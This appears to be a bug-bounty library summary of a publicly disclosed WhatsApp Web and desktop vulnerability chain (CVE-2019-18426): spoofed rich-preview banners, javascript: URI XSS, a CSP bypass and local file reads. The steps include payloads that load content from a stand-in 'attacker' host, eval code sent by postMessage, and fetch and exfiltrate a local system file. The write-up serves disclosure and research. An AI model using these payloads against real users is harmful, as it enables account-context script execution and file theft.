# CVE-2019-18426 - WhatsApp Vulnerabilities Disclosure - Open Redirect + CSP Bypass + Persistent XSS + FS read permissions + potential for RCE

Tampered rich-preview banners in WhatsApp messages enabled open redirect, persistent XSS via javascript: URIs, CSP bypass, and local file read on Electron desktop apps.

- Payout: $12,500
- Severity: high
- Program: Meta / Facebook
- Credited: Gal Weizman
- Disclosed: 2020-02-14
- CVE: CVE-2019-18426
- Write-up quality: 9/10
- Original: https://weizman.github.io/2020/02/14/whatsapp-vuln/
- Library page: https://bugbountylibrary.com/r/blog%3Aweizman-github-io-2020-02-14-whatsapp-vuln
- Tags: domain:desktop domain:web impact:data-leak kind:bounty platform:blog sev:high tech:chromium tech:electron technique:chained technique:source-review vuln:misconfiguration vuln:open-redirect vuln:xss

**Target:** WhatsApp Web and Electron desktop clients (message rich-preview banner)
**Root cause:** Rich preview banners are crafted client-side and trusted on the receiving side; link validation only checks the URI appears in the body, allowing javascript: URIs with an embedded https: string. Desktop clients run outdated Electron/Chromium 69 with missing object-src CSP.
**Steps:**
1. Breakpoint at `var t = e.id;` inside `return Promise.callSynchronously(function()` to reach the outgoing message metadata object `e`.
2. Set `e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)'` and let send proceed.
3. Receiver clicks banner; XSS executes on web.whatsapp.com (Safari/Edge/old Chromium) or Electron desktop.
4. Bypass CSP: payload `javascript:"https://facebook.com";eval(atob("<base64>"))` where base64 sets `hard_expire_time.innerHTML += '<object data="https://attacker/x.html" />'` and `onmessage=(e)=>{eval(JSON.parse(e.data))}`.
5. Attacker iframe posts JSON payload to top window via `top.postMessage(JSON.stringify("..."), "*")`; top window evals it in WhatsApp origin.
6. On Electron desktop, use XSS to `fetch('file:///C:/Windows/System32/drivers/etc/hosts')` and exfiltrate contents.
**How found:** Started from prior knowledge that WhatsApp Web forms message metadata client-side; set breakpoint to inspect the outgoing message object and tampered __x_quotedMsg to alter reply text. Then tampered __x_matchedText on rich-preview banners, noticed sender-side banner generation, tried javascript: URIs, observed banner dropped, hypothesized https: scheme check, and bypassed with `javascript:"https://...";`. Used Google CSP Evaluator to spot missing object-src, then tested on Electron desktop and alerted userAgent revealing Chrome/69.
**Exploitation:** Attacker crafts a message with a spoofed rich-preview banner whose matchedText is a javascript: URI containing an https: string to pass validation. Victim clicks the banner, executing attacker JS in WhatsApp origin. CSP bypass via missing object-src loads an external iframe that postMessages a larger payload back to the top window for eval. On Electron desktop (Chromium 69), the XSS reads local files via fetch(file://) and could chain a Chromium 1-day for RCE.
**Escalation:** Open redirect -> persistent XSS -> CSP bypass via missing object-src + postMessage -> Electron desktop file read -> potential RCE via Chromium 69 1-day.
**Insight:** When a client builds rich-preview metadata and the receiver only checks that the URI string appears in the body, try `javascript:"https://legit";payload` to satisfy the scheme check while executing JS. Also fingerprint Electron apps via userAgent in XSS — outdated Chromium versions reopen javascript: URI and enable file:// fetch.
